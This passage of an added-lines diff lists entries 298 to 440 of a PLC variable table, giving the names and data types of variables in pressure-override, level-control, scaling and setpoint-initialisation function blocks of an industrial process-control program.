+298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; 